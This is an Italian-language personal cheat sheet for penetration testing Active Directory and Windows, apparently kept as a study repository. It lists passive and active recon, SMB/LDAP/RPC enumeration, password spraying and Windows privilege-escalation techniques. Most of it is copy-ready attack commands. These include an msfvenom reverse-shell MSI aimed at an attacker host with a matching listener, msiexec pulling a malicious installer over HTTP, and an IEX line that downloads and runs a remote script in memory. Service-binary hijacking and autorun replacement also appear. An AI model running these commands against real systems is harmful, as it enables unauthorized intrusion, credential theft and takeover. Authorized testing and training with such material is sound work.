Indice

Lista che viene aggiornata man mano di metodologie, tool, comandi e CVE inerenti al mondo dell Active Directory:

Sezione dedicata a Windows in cui si va ad approfondire il sistema operativo, protocolli, features di sicurezza, tools lato blueteaming e redteaming

Sezione dei credits per i riconoscimenti:

Credits

Disclaimers:

Questa repository nasce come un luogo dove appuntarsi materiale e crearsi un proprio worfkflow è quindi normale che vi possano essere degli errori di qualsiasi genere al proprio interno.

Nell'intera repository troviamo la presenza di molto codice scritto in molteplici linguaggi e può capitare che nel tempo alcuni comandi o librerie diventino deprecate, inoltre è possibile che vi siano dei passaggi errati all'interno delle varie sezioni, ogni comando è stato sempre prima testato ma i fattori che possano influenzare l'esito sono molteplici è quindi bene utilizzare anche internet per informarsi.

La repository può contenere errori ortografici o di sintassi.

Consigli di utilizzo:

Si consiglia di utilizzare questa repository come una fonte di ricerca rapida (CTRL + F e cercare per parole chiave) casomai non si trova quello che si cerca, approfondire con internet

Active Directory Pentest:

Recognition:

La fase di recognition è una se non la fase più importante, la quale determina con quale approccio poi potersi interfacciare con il target, in questa sezione vogliamo dare un'infarinatura generale cercando di non sfociare troppo nell'OSINT (Open Source Intelligence) ma piuttosto poter trovare il nostro foothold

Passiva:

La fase di recognition passiva consiste nell'utilizzare fonti aperte e siti esterni che aiutino nella ricerca di informazioni più utili possibili del target, senza doverci interagire

Domini:

Enumerare un dominio è il primo passo, stiamo parlando della prima connessione che abbiamo con il nostro target ed iniziare a capire in che modo è strutturato può rivelarsi molto utile

DnsDumpster:

DnsDumpster sito molto completo per l'enumerazione di subdomains, può essere maggiormente integrato con il sito viewDNS che dispone di informazioni ulteriori da poter vedere

Crt.sh:

crt.sh, sito per controllare i certificati, dove possiamo scoprire eventuali subdomains e relativi Ip

CriminalIp

Criminalip, sito utile per carpire informazioni sulla sicurezza e affidabilità del sito target come: JS obfuscato, sito di Phising e altre informazioni importanti

Ip:

Dalla ricerca dei domini possiamo passare ad una ricerca più granulare con eventuali indirizzi IP trovati

Shodan, Censys e Zoomeye:

Una volta trovati indirizzi IP possiamo scannerizzarli con i tre siti Shodan, Censys e Zoomeye

N.B: Vengono mostrate 3 opzioni in quanto un possibile target potrebbe pagare uno dei siti per non essere indicizzato

G-suite tools e Traceroute Online:

I due siti G-suite tools e Traceroute Online utilizzati insieme offrono ping e traceroute mappati

Check-Host:

Il sito Check-Host può essere utilizzato per capire da quale paese sono bloccati gli ip, quindi capire da dove poter utilizzare un eventuale VPN o Proxychain

Siti Web:

Nella quasi totalità dei casi ci sarà un sito web d'analizzare quindi:

Netcraft:

Netcraft verrà utilizzato come primo strumento per avere un'idea del sito web stesso

Wayback Machine:

Wayback Machine può ritornaci molto utile per vedere lo storico del sito target e come è evoluto

XML-Sitemaps:

Il sito XML-Sitemaps permette di fare un crawling delle varie subdirectory e in un secondo momento visionare i risultati sul sito o in un file

Buckets.GrayHatWarfare:

Buckets.GrayHatWarfare dà la possibilità di controllare la presenza di file lasciati in giro provenienti da container aperti in cloud (AWS, Google Cloud e Azure)

Proxyium: Andremo ad interagire con il sito web ma sempre in maniera anonima grazie al sito Proxyium, infatti prima inseriremo l'URL del target all'interno di Proxyium il quale farà da proxychain, una volta all'interno possiamo navigare all'interno del sito e analizzare le tecnologie utilizzate grazie all'estensione Wappalyzer

N.B: utilizzare proxyium solo per la fase di recon in quanto sicuramente ogni nostra azione sarà registrata

Hunter.io e Email Extractor:

i siti Hunter.io, skymem e l'estensione Email Extractor permettono uno scraping delle email all'interno del sito per poi poterle utilizzare in altre fasi del PT

N.B: Hunter.io ci si deve registrare e permette un numero limitato di ricerche ma è molto più performante di Email Extractor mentre skymem permette di visionare un numero limitato di email ma in maniera totalmente gratuita

search.0t.rocks:

Una volta trovate email o informazioni personali di un utente possiamo approfondire la ricerca con il sito search.0t.rocks che contiene i records da vari database

Personal Tool:

Vi è la possibilità di automatizzare alcune delle ricerche passive con un mio script python in selenium, lo si trova al seguente link

Attiva:

La fase di recognition attiva ci obbliga ad interagire con il target per approfondire la nostra ricerca

Port Scanning:

La fase di port scanning consiste nell'iniziare a conoscere quali porte siano aperte e che cosa vi giri dietro

Nmap:

La nostra prima superficie di attacco sono le porte quindi il primo passo da compiere è capire quali servizi girino dietro esse

Comandi:

N.B: le combinazioni possibili delle flag che mette a disposizione nmap sono molteplici quindi non tutte potranno essere presente

nmap -sC -sV -p- <ip> #comando per fare lo scanning di tutte le porte di un determinato ip con l'aggiunta delle flag -sC (standard script) e -sV (standard version) aumentano l'efficacia di raccolta informazioni

Questo link è utile per guardare i servizi e le porte di default che possono essere aperti su active directory e in ambiente windows

Detection ed evasion dei sistemi di sicurezza:

Molte volte l'azienda target in sua difesa può ricorrere a sistemi quali: firewall, IDS e ecc... sapere come detectarli e trovare una qualche maniera di bypassarli è un passo fondamentale

N.B: le tecniche di detection ed evasion sono molteplici e non è possibile inserirle tutte

Detection:

*Flag*	*Descrizione*
-O	Flag per lo scanning del sistema operativo
--traceroute	Flag per capire per dove passa il nostro traffico e fin dove arriva
--badsum	Flag che manda un bad checksum, i sistemi di sicurezza che non li controllano ci ritorneranno una risposta mentre un host normale dovrebbe rifiutarli
-sA (ACK scan)	Flag che esegue uno scan inviando semplicemente un ACK, se non si riceve risposta si presuppone che la porta sia aperta o filtrata
-sT, -sN, e -sX	Flag che eseguono il full TCP scan (-ST, abbastenza stealth perchè non lascia connessioni incomplete), NULL scan che invia pacchetti nulli se riceviamo TCP RST la porta risulta chiusa se ignorato invece è probabile che sia aperta (-sN) e infine Xmas scan se la porta è filtrata il pacchetto è ignorato (-sX)
--script=firewalk --traceroute	Flag che uniti insieme tentano di recuperare informazioni tramite il TTL (Time to live)

Evasion:

*Flag*	*Descrizione*	*Esempio*
-f	Flag che fragmenta i pacchetti inviati	`nmap -f -sC -sV <ip>`
-T, --min-parallelism, --max-rtt-timeout, --scan-delay e --max-retries = tutte le flag che giocano sui fattori velocità (-T), frequenza (--min-parallelism), tempo di attesa (--max-rtt-timeout), delay da un pacchetto all'altro (--scan-delay) e tentativi massimi (--max-retries)	Flag utilizzati per il bypass di sistemi basati sulle tempistiche dei pacchetti	`nmap -sT -T<num da 1 a 5> --scan-delay <num in ms> --max-retries <num tentativi> -sC -sV -p- <ip>`
--spoof-mac, -S, --source-port e --data-length = flag che cambiano il mac address (--spoof-mac), modificano l'ip sorgente (-S), la porta sorgente (--source-port) e aggiungono finti bytes (--data-length)	Flag utilizzati per lo spoofing	`nmap --source-port 443 -p <porta destinazione> --data-length 850 <ip>`
-D	Flag che permette di inserire finti IP in catena insieme a quello nostro reale	`nmap -D RND:<num finti ip da generare> <ip>`

Scripting nmap:

Feature utile del tool è lo script engine che mette a disposizione una lista di script visitabile qui

nmap + searchsploit:

Nmap può essere utilizzato insieme a searchsploit (CLI di exploitdb) tramite la creazione di un xml output delle porte scansionate nel quale in seguito possiamo vedere di quali possibili CVE sono vulnerabili

nmap -sV <ip> -p <porta n1 target>,<porta n2 tarrget>,<ecc> -oX <nome file>.out #comando per generare un file xml di output con le porte scansionate

searchsploit --nmap <nome file output>.out #comando per combinare il file xml con searchsploit

Rustscan:

Rustcan è un'alternativa a Nmap scritta in Rust perciò estremamente veloce e facile da usare, può essere anche configurato per lavorare insieme ad Nmap

Comandi:

rustscan -a <ip> -- -sC -sV #comando per avviare rustscan con poi l'utilizzo di nmap

Sito web:

Sub-Domain Enumeration:

Quando abbiamo davanti un webserver è importante conoscere tutti i domini e host virtuali; capita infatti che gli amministratori dei server lascino un sottodominio da cui amministrano il webserver

Wfuzz: Wfuzz permette di 'FUZZARE' i subdoamins attraverso liste che possiamo trovare su github come la Seclists

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://<ip>/ -H "Host:FUZZ.<subdomain 1>.<top level domain>" --hl <numero di linee da filtrare>

N.B: Consigliamo prima di avviare wfuzz senza la flag -h (hide) perchè va capito cosa nascondere dall'output del comando

Directory Enumeration: Per avere una visione di insieme del webserver è importante conoscere tutte le rotte e le pagine del sito così da enumerarle e cercare eventuali vulnerabilità

FeroxBuster:

FeroxBuster è tool scritto in Rust estremamente veloce e completo con cui potremo fuzzare i webserver utilizzando wordlists

Con il seguente scan avviamo un'enumerazione recursiva delle directory del webserver ed inoltre andremo ad affinare la ricerca aggiungendo la ricerca delle estensioni con la flag '-x' (Ovviamente possono essere ridotte per incrementare la velocità dello scan sacrificando l'accuratezza)

feroxbuster -u http://<sitoweb>/ -w /usr/share/wordlists/webpageenum.txt -x php,txt,bak,py,js,html,pdf,git,zip,7z,docx,old,sh -t <num thread> -d <num di profondità> #comando per avviare feroxbuster

Indicazione Generali:

Scrivere in maniera completa della fase attiva contro un sito web è impossibile perchè i footholds e le metodologie sono molteplici, i consigli generali per muoversi possono essere:

Controllare i vari campi di input e provare gli attacchi più noti
Utilizzare Burpsuite per vedere come il server elabora le richieste
Controllare la versione delle tecnologie utilizzate dal sito per possibili exploit
Visionare il sito, utilizzarlo e comprendere il suo reale utilizzo
Google è nostro amico per qualsiasi dubbio va utilizzato

Enumerazione:

La pratica di enumerare è una tra le più importanti, in quanto permette di ricavare informazioni vitali sul target e permette di progettare i prossimi movimenti; prima di entrare però si ha la necessità di enumerare dall'esterno e vi sono vari metodi

Enumerazione Esterna:

Viene di seguito presentata una lista di enumerazione del DC target con diversi tool

Enum4linux-ng:

git clone https://github.com/cddmp/enum4linux-ng.git
pip3 install -r requirements.txt #comandi per impostare il tool

python3 enum4linux-ng.py <ip> #comando per enumerazione senza credenziali

python3 enum4linux-ng.py <ip> -u <utente> -p <password> #comando per enumerazione con credenziali

SMB enumerazione e comandi:

Teoria di SMB

smbmap -u <utente> -p <password> -H <ip> -R -d <numero profondità per la recursività> #comando per enumerare gli shares in maniera recursiva ed inoltre vedere quali permessi abbiamo su di essi

smbclient -L \\\\<ip>\\ #comando per listare gli shares

smbclient \\\\<ip>\\<shares> -U <user> #comando per entrare nello share e poi inserire la password

smbget -R smb://<indirizzo ip>/<share>/ #comando che fa il download in maniera recursiva

Enumerazione utenti:

Crackmapexec, solo se abbiamo l'accesso a IPC$ all'interno del servizio SMB, avere un utente con credenziali valide e o anonymous login:

crackmapexec smb <nome dominio o ip> -u '<nome utente>' -p '' --rid-brute

Kerbrute, tramite una lista di user possiamo vedere quali sono presenti nell'AD target:

kerbrute userenum -d <nome dominio> --dc <ip del domain controller> <wordlist>

Enumerazione RPC:

L'enumerazione del RPC permette di recuperare informazioni importanti come utenti, gruppi, shares; sempre se disponibile anonymous login o credenziali valide

Esistono due tool utili per l'enumerazione il primo è rpcclient:

Comandi:

rpcclient -U "" -N <ip> #comando che si connette tramite anonymous login

rpcclient -U "<utente>%<password>" -N <ip> #comando che si connette tramite credenziali

enumdomusers #comando per enumerare tutti gli utenti

enumdomgroups #comando per listare i gruppi

queryuser 0x<numero rid in esadecimale> #comando per ottenere maggiori informazioni su un utente

queryusergroups 0x<numero rid in esadecimale> #comando per ottenere maggiori informazioni sui gruppi degli utenti

querygroup 0x<numero rid in esadecimale> #comando per ottenere maggiori informazioni di un gruppo

querygroupmem 0x<numero rid in esadecimale> #comando per ottenere maggiori sui membri di un gruppo

netshareenumall #comando per enumerare gli shares

N.B: Sono solo alcuni dei comandi disponibili per l'enumerazione

Il secondo è rpcdump.py della suite Impacket che permette di dumpare tutti i processi della macchina target

Comandi:

rpcdump.py -port 135 <ip> #comando che dumpa i processi

Enumerazione LDAP:

Teoria sul LDAP

Comandi:

nmap -n -sV --script "ldap* and not brute" <ip> #comando che tramite anonymous login tenta il recupero di informazioni

ldapsearch -x -H ldap://<ip> -D '<dominio>\<username>' -w '<password>' -b "DC=<primo sottodominio>,DC=<top level domain>" #comando che verifica se le credenziali sono giuste

windapsearch script in go che velocizza l'enumerazione di utenti, gruppi, computers, gpos e ecc... Un'enumerazione completa richiede credenziali valide

git clone https://github.com/ropnop/go-windapsearch.git && cd go-windapsearch
go install github.com/magefile/mage
sudo cp /home/<nome utente>/go/bin /usr/bin #vi è pure la possibilità di aggiungere nella $PATH la cartella /go/bin senza copiare il binario
mage build
sudo cp ./windapsearch /usr/bin #comandi per installare e preparare lo script windapsearch

windapsearch -m <modulo> --dc <nome dominio> -u "<nome utente>" -p "<password>" #comando generale per far funzionare windapsearch

windapsearch -m <modulo> --dc <nome dominio> -u "" -p "" #comando che utilizza anonymous login

windapsearch -m users --dc <nome dominio> -u "<nome utente>" -p "<password>" #comando per enumerare gli utenti

windapsearch -m groups --dc <nome dominio> -u "<nome utente>" -p "<password>" #comando per enumerare i gruppi

windapsearch -m computers --dc <nome dominio> -u "<nome utente>" -p "<password>" #comando per dumpare i gruppi #comando per enumerare i computer

ldapdomaidump, script che se abbiamo le giuste credenziali dumpa molte informazioni come: utenti, gruppi, computer e ecc...

ldapdomaindump <ip> -u '<dominio>\<nome utente>' -p '<password>' --no-json --no-grep -o <dir dove salvare output> #comando che avvia ldapdomaindump

N.B: Ovvio che lo script windapsearch dispone di altri moduli per l'enumerazione

Metodi di connessione remota alla target machine:

Vengono di seguito riportati le metodologie per connettersi alle target machine

winrm:

evil-winrm -i <nome dominio> -u <nome utente> -H <hash NTLM> o -p <password> #utilizziamo il WinRM protocol per connettersi

upload <path file locale della nostra macchina> <nome di come salvarlo> #comando per uplodare dalla kali alla target machine il file tramite evil-winrm

download <path file da dove dove scaricare> <path file destinazione nella nostra macchina> #comando per il download del file dalla target machine alla kali tramite evil-winrm

rdp:

rdesktop -u <nome utente> -p <password> <ip> #comando per connettersi con RDP

xfreerdp /v:<ip> /u:<user> /p:<password> /dynamic-resolution /drive:<nome share>,<nome path locale> #comando per connettersi con RDP

Kerberos double hop problem:

Il kerberos double hop problem consiste che utilizzando powershell/winrm per effettuare l'accesso non stiamo utilizzando delle credenziali che rimarranno in memoria sulla macchina dove vogliamo connetterci (Quindi permettono di autenticarci verso altri servizi o macchine) ma i kerberos ticket i quali danno accesso ad un servizio specifico (esempio una macchina)

ES:

Utilizzo credenziali NTLM:

`Macchina kali------> macchina vittima connessi---------> DC`
La macchina vittima avrà in memoria le credenziali NTLM che possono permetterci l'autenticazione verso il DC

Utilizzo TGT/TGS:

`Macchina kali------> macchina vittima connessi con WinRM---------> DC`
La macchina vittima se vuole comunicare con il DC non può perchè il TGT (Ticket Granting Ticket) non essendo presente in memoria non può autenticare l'utente verso altri servizi tipo il DC

Soluzioni:

PSCredential Object:

Creazione di un PSCredential Object da inviare per autenticarsi

Comandi:

$Password = ConvertTo-SecureString '<password user target>' -AsPlainText -Force #comando che crea una variabile contenente la password

$Credenziali = New-Object System.Management.Automation.PSCredential('dominio\utente', $Password) #comando che crea una variabile contenente l'oggetto PSCredential da passare per autenticarsi

Get-DomainUser -spn -credential $Credenziali #comando del tool powerview che passandogli le credenziali permette di autenticarci verso il DC ed enumerarlo

Autenticazioni:

RunAs.exe:

Una volta riusciti ad ottenere delle credenziali valide è tempo di entrare nel sistema e iniziare l'enumerazione interna però è anche vero che prima va capito dove poter utilizzare queste credenziali un metodo può essere "RunAs.exe" il quale è un binario di windows che permette di eseguire uno script o un programma con credenziali di altri utenti

Comandi:

runas.exe /netonly /user:<dominio>\<nome utente> cmd.exe #comando che date delle credenziali le utilizza per aprire un CMD
/netonly #flag del comando runas che indica di utilizzare le credenziali per l'autenticazione di rete, infatti le credenziali che inseriamo verranno prese per buone, in quanto non verificate dal domain controller ma semplicemente caricate in memoria

Capita che, quando si utilizzano connessioni tramite WinRM o shell ottenute con Meterpreter, si possa avere la necessità di utilizzare "RunAs.exe" per accedere con altri utenti. Tuttavia, le due metodologie di connessione menzionate in precedenza non permettono il prompt della password da linea di comando (CLI) per risolvere questo problema possiamo utilizzare RunaCs, script in C# che permette di inserire la password da CLI

Enumerazione Interna:

Enumerazione della rete con nmap:

Una volta all'interno avere una visione sulla rete target è fondamentale

nmap -sn -Pn <ip>/<num bit dedicati alla rete> #comando per fare lo scanning della subnet, senza pingarle e enumerare le porte

nmap -Pn <ip>/<num bit dedicati alla rete> #comando per fare lo scanning della subnet

nmap -Pn <ip> -n --disable-arp-ping -PE --reason #comando per enumerare un solo host, la flag PE indica ICMP echo requests, il -n disattiva la risoluzione DNS

Enumerazione della rete con powershell e cmd:

Vi è la possibilità di enumerare una rete anche tramite comandi powershell e cmd

Comandi:

for /L %i in (1 1 254) do ping <ip subnet>.%i -n 1 -w 100 | find "Reply" #comando cmd che data una subnet enumera tramite ping

1..254 | % {"<ip subnet>.$($_): $(Test-Connection -count 1 -comp <ip subnet>.$($_) -quiet)"} #comando powershell che data una subnet enumera tramite ping

N.B: prestare attenzione ai bits dedicati agli hosts in questo caso abbiamo ipotizzato che fossero 8 quindi da 1 a 254

Enumerazione SYSVOL:

Un buon metodo per verificare che le credenziali inserite nella fase di autenticazione siano valide è tramite l'enumerazione di SYSVOL, che anche l'utente con meno privilegi può listare; SYSVOL è una cartella presente in tutti i domain controller è importante perchè contiene dati e informazioni importanti per la replicazione di quest'ultimi tra domain controllers

Comandi:

dir \\<nome dominio o ip>\SYSVOL\ #comando per listare la directory SYSVOL

N.B: Vi è una differenza tra listare con il nome dominio o con l'indirizzo IP, utilizzando l'hostname verrà eseguito il kerberos authentication mentre con l'indirizzo IP verrà utilizzato NTLM.

Enumerazione tramite MMC e RSAT:

Nel MMC (Microsoft Management Console) possiamo trovare al suo interno degli snap-in di provenienti da "RSAT (Remote Server Administration Tools)", una suite di tools per amministrare da remoto un'active directory

N.B: Questo tipo di enumerazione richiede di avere accesso ad una GUI quindi una connessione RDP ma come sappiamo non sempre è possibile

Comandi:

start-> App e Funzionalità-> aggiungi una funzionalità-> RSAT-> installa #passi per installare RSAT

Avendo installato RSAT avremo ora disponibili in MMC degli snap-in per il controllo dell'AD

mmc-> File-> Aggiungi/rimuovi snap-in-> aggiungiamo i 3 snap-in quali: Domini e trust di Active Directory, Siti e servizi di Active Directory infine Utenti e computer di Active Directory-> ai primi 2 snap-in va cambiato la forest con il dominio target, al terzo snap-in va cambiato il dominio con il dominio target #passi per installare e configurare gli snap-in

Ora che gli snap-in sono pronti non ci resta che dare uno sguardo all'AD

Utenti e computer di Active Directory-> dominio target-> si apriranno diverse cartelle dove possiamo vedere per esempio chi appartiene al dominio, le macchine a dominio ecc... #passi per visionare l'interno dell'AD tramite lo snap-in

N.B: se nella target machine non abbiamo disponibile RSAT, possiamo sfruttare un trick cioè in una vm locale, installare RSAT per poi andare alla seguente path "C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management" copiare la dll del RSAT e importarla nella target machine infine ad ogni commando basterà aggiungere la flag -Server

Enumerazione tramite Powershell:

Powershell permette di ampliare le nostre capacità di enumerazione perchè dispone di cmdlets più potenti e che permettono la scrittura di comandi ancora più complessi tipo lo script PowerView

Comandi:

Get-Module #comando per recuperare i moduli importati

Get-ADUser -Filter * | fl * #comando per listare tutti gli utenti e avere maggiore informazioni di output

Get-ADUser -Identity <SAM nome> -Server <hostname> -Properties * #comando per enumerare uno specifico utente con tutte le sue proprietà

Get-ADGroup -Filter * | fl * #comando per enumerare i gruppi e avere maggiore output di informazioni

Get-ADGroup -Identity <nome gruppo> -Server <hostname> #comando per enumerare un gruppo specifico

Get-ADGroupMember -Identity <nome gruppo> -Server <hostname> #comando per enumerare i membri di un gruppo specifico

Get-ADObject -Filter 'badPwdCount -gt 0' -Server <hostname> #comando che cerca tra gli ADObject account che hanno più di un tentativo fallito di accesso

Get-ADDomain -Server <hostname> #comando che recupera maggiori informazioni sul dominio

Get-ADTrust -Filter * #comando che recupera la fiducia tra domini o tra domini di altre forest

Get-ADDomain #comando per prendere tutte le informazione dell'AD Domain

Get-NetIPAddress #comando powershell per ottenere la configurazione di rete

Get-MpComputerStatus #comando per vedere info su microsoft defender

Get-HotFix | ft -AutoSize #comando che mostra cosa è stato aggiornato e quando

Get-ComputerInfo #comando che prende informazioni della macchina

Get-Localuser #comando che lista gli utenti locali nella macchina

Get-LocalGroup #comando che lista i gruppi locali nella macchina

Get-ScheduledTask #comando che lista tutti gli schedules

Get-Acl #comando per listare le access-list dei permessi

Get-PSDrive #comando che lista i drive dell'ambiente legati a powershell che possono essere variabili, oggetti, registri e volumi.

Get-ChildItem -Path C:\Users\* -Include *.vhdx, *.vhd, *.vmdk, *.OVF, *.OVA, *.VDI -Recurse -ErrorAction SilentlyContinue #comando per listare eventuali virtual disks nel sistema

IEX(iwr 'https://gist.githubusercontent.com/egre55/816ddb91016034dcf747f4ea5f054767/raw/5ef623d3697af04dea7badcf96074c2494578ffe/procmon.ps1') | fl * #comando che fa una richiesta web di un piccolo script che agisce come procomon tramite IEX lo esegue subito in memoria, fl è per ricevere più output

Spraying:

Lo spraying tradotto in spruzzare è una tecnica di accesso che a seconda delle informazioni in nostro possesso (un nome utente valido e una lista di password | una lista di utenti e una password valida | una lista di utenti e una lista di password) tentiamo accessi ripetuti su molteplici utenti

N.B: Questa tecnica va utilizzata con parsimonia in quanto: è molto rumorosa, potremmo bloccare account validi per i troppi tentati accessi

_I primi passi sono quelli di recupero di nomi utenti (tramite ldapsearch, CrackMapExec, kerbrute e ecc...), recupero di password policy (tramite i comandi "net" o il tool CrackMapExec...) e creazioni di wordlists.:

:Una volta ottenuto tutto il necessario è possibile eseguire la tecnica di spraying con tool come CrackMapExec (i comandi sono spiegati nella sezione relativa) o con lo script DomainPasswordSpray se abbiamo accesso ad una macchina windows_

Comandi DomainPasswordSpray:

Import-Module .\DomainPasswordSpray.ps1 #comando per importare il modulo .ps1

Get-DomainUserList -Domain <nome dominio> -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii <nome file output> #comando dello script che genera una wordlist di utenti

Invoke-DomainPasswordSpray -UserList <nome file lista di users> -Domain-name <nome dominio> -PasswordList <nome file lista di password> -ErrorAction SilentlyContinue #comando per eseguire lo spraying su una lista di user con una lista di password

N.B: dello script "DomainPasswordSpray" ci sono altre flag da poter utilizzare è bene visionare l'help dei comandi

Enumerazione host machine:

Un passo importante oltre all'enumerazione esterna e interna è ricavare informazioni dalle varie host machine su cui uno ottiene l'accesso

Sistema:

tasklist /svc #comando per listare i servizi

set #comando CMD per listare le variabili d'ambiente

systeminfo #comando per listare informazioni sul PC, nello specifico anche quando sono stati fatti vari aggiornamenti

wmic product get name /format:List #comando CMD per listare i programmi installati

wmic qfe get Caption,Description,HotFixID,InstalledOn /format:List #comando per vedere hotfix del sistema e quando sono stati effettuati

wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List #comando che recupera informazioni sul pc

wmic ntdomain list /format:list #comando per recuperare informazioni sui domini

vssadmin list shadows #comando per listare le shadowcopies

query user #comando che lista gli utenti attivi tramite RDP

qwinsta #comando per controllare se altri utenti sono connessi

qwinsta /server:<nome o indirizzo ip> #comando per controllare se altri utenti sono connessi ma ad un server in remoto

cipher /u /n /h #comando per listare EF (Encrypted file)

Generali:

whoami /all #comando che ottiene tutte le informazioni come privilegi e gruppo

net user #comando che lista tutti gli utenti locali

net user <nome utente> /add #comando per aggiungere un utente alla macchina

net user <nome utente> #comando per ricavare più informazioni su un utente specifico

net user /domain #comando per listare tutti gli utenti nel dominio

net user <nome utente> /domain #comando per ricavare più informazioni sull'utente specificato nel dominio

net user <nome utente> /add /domain #comando per aggiungere un utente a dominio

net localgroup #comando che lista tutti i gruppi locali

net localgroup <nome gruppo> #comando che dato un gruppo ci fornisce ulteriori informazioni

net localgroup <nome gruppo> <nome utente> /add #comando per aggiungere un utente ad un gruppo locale

net group #comando per listare i gruppi nel dominio

net group <nome gruppo> #comando per listare i membri di un gruppo specificato

net group <nome gruppo> <nome utente> /add #comando per aggiungere un utente ad un gruppo nel dominio

net share #comando che recupera informazioni sugli shares

net use \\<nome del server>\<nome dello share> /user:<nome utente e password> #comando per accedere e visionare uno share di SMB se disponibile

net use \\<ip>\ipc$ "" /u:"" #comando che tenta l'autenticazione tramite la null session di SMB

net accounts #comando che lista le password policy in locale

net accounts /domain #comando che lista le password policy a dominio

findstr /I /S /M "<parola da ricercare>" *.<estensione file> #comando per ricercare una specifica parola nei file indicati da noi

dir -Path C:\ -Recurse -Filter "<nome file>" -File #comando per ricercare uno specifico file

cmd /c dir /q '<path cartella>' #comando per listare il proprietario di una determinata cartella

N.B: Piccolo consiglio i comandi con l'utility "net" potrebbero essere monitorati è possibile usarli comunque scrivendo con il comando "net1"

Rete e configurazioni:

ipconfig /all #comando per listare le configurazioni di rete

arp -a #comando per listare ARP table

route print #comando per listare le routing table

netstat -ano #comando per listare connessioni attive e porte in ascolto

netsh wlan show profile #comando per listare le interfacce wlan

netsh wlan show profile <nome interfaccia> key=clear #comando per mostrare la password in chiaro

netsh advfirewall show currentprofile #comando per listare il profilo corrente del firewall

netsh advfirewall show allprofiles state #comando che mostra tutti i profili

netsh advfirewall firewall show rule name=all #comando che lista tutte le regole del firewall

netsh trace start capture=yes report=disabled
netsh trace stop #comandi per avviare e poi quando vogliamo stoppare lo sniffing della rete

I pacchetti catturati con netsh sono salvati con estensione ".etl" ma possono essere converiti in .pcap con il seguente tool

etl2pcapng.exe <file>.etl <path file dove salvarlo> #comando per convertire il .etl in .pcap

Tools:

Esistono dei tool per automatizzare il processo:

Bloodhund link diretto alla sezione apposita
PowerView link diretto alla sezione apposita

Privilege Escalation:

Metodi per scalare i propri privilegi in windows

Servizi:

Abusare permessi insicuri nei servizi:

Per controllare le misconfiguration utilizzeremo accesschk.exe (utility che serve a controllare i permessi ACL su oggetti di sistma Windows) è contenuto nella suite di sysmon scaricabile dal seguente link:

accesschk.exe /accepteula -uwcqv <nome utente> <nome servizio> #restituisce i permessi dell'utente relativi al servizio ricercato

se l'utente ha il seguente privilegio "SERVICE_CHANGE_CONFIG" può essere vettore di privilege escalation:

facciamo una query al servizio per controllare che giri come SYSTEM (o LocalSystem) sotto la voce "SERVICE_START_NAME"

sc qc <nome servizio> #fa una query al servizio per ottenere i suoi dettagli

a questo punto possiamo sostituire il binario puntato dal servizio con uno creato da noi per farlo eseguire al riavvio:

sc config <nome servizio> binpath= "\"<path al nostro eseguibile>\"" #indichiamo la path con gli apici attraverso l'escape character

net start <service> #avviando il servizio verrà lanciato il nostro eseguibile come amministratore

abusare di path non racchiuse da doppi apici:

se la path di un servizio è scritta nel seguente modo:

BINARY_PATH_NAME: <Path al servizio>\<directory>\.. #quindi non racchiusa dalle virgolette

può essere vettore di privilege escalation perchè senza doppie virgolette la path viene letta male dal sistema e con gli spazi che vengono interpretati come dei break, windows proverà ad eseguire un qualcosa prima di ogni spazio

ES: C:\Windows\Tasks\rev.exe

C:\rev.exe

C:\Windows\rev.exe

C:\windows\Tasks\rev.exe

possiamo di conseguenza inserire un eseguibile (sempre se si hanno i permessi di write sui servizi e sulla directory da modificare).

copy <Path del nostro eseguibile> "<path del servizio>\<nome eseguibile>.exe" #così facendo il sistema cercherà la path e arrivato allo spazio eseguirà il nostro comando prendendo i dati successivi come argomenti dell'eseguibile

net start <nome servizio> #comando per startare un servizio

Abusare di eccessivi permessi di modifica delle chiavi di registro:

sc qc <nome servizio> #comando che fa una query al servizio

accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\<nome servizio> #comando che controlla i permessi e chi ha accesso alle chiavi di un servizio di registro

"NT AUTHORITY\INTERACTIVE" se le chiavi sono accessibili da questo gruppo significa che tutti gli utenti con logon possono modificarle:

reg add HKLM\SYSTEM\CurrentControlSet\services\<nome_servizio> /v <ImagePath> /t REG_EXPAND_SZ /d <path nostro eseguibile> /f #comando che aggiunge una chiave di registro

net start <nome servizio> #comando che starta un servizio

Abusare permessi di scrittura sugli eseguibili dei servizi:

sc qc <nome_servizio> #comando che fa una query al servizio

C:\PrivEsc\accesschk.exe /accepteula -quvw "<path servizio>" #comando che fa una query sui permessi di sicurezza di un servizio

Notiamo che il "BINARY PATH NAME" è scrivibile da tutti

copy <nostro_eseguibile> <path binario del servizio> #se abbiamo permessi di scrittura sull'eseguibile del servizio possiamo sostituirlo con il nostro

Registri:

La spiegazione di cosa sono e di quali sono i registri si trova qui

Abusare degli autorun attraverso le chiavi di registro:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run #interroga i registri per cercare eseguibili con autorun

accesschk.exe /accepteula -wvu "<path dell'eseguibile>" #ricerca le proprietà degli eseguibili che sono autorun

se l'eseguibile è word-writable possiamo sostituirlo con il nostro e riavviare la macchina:

copy <nostro_eseguibile_da_runnare> "<path autorun>" /Y #dopo il riavvio si attiverà automaticamente

Abusare dei privilegi di installazione come amministratore (permettono di installare sempre un programma come amministratore)

Andremo a controllare tramite la reg query se AlwaysInstallElevated è settato a 1 o 0, AlwaysInstallElevated controlla la richiesta di elevazione dei privilegi del MSI installer, se settato a 0 l'installer richiede di elevare i privilegi solo quando serve invece se ad 1 l'installer lo richiede sempre cosi facendo può essere vettore di privilege escalation.

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated #interroga le chiavi di registro
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated #se sono settate su 0x1 sono attive

possiamo creare un installer con msfvenom per richiamare una revshell da amministratore quando installato:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip_attaccante> LPORT=<porta_attaccante> -f msi -o <nome file>.msi #comando per generare il .msi malevolo

msfconsole -q -x "use multi/handler; set payload windows/x64/shell_reverse_tcp; set lhost <ip>; set lport <porta>; exploit" #comando per preparare il listener

msiexec /q /i http://<ip>/<nome file malevolo>.msi
msiexec /i <path al file .msi> /quiet /qn /norestart #comandi per eseguire il file .msi

N.B: Capita che alcuni utenti non abbiamo gli IL necessari è consigliato di utilizzare allora RunAs e una shell che possa permettere il prompt delle password

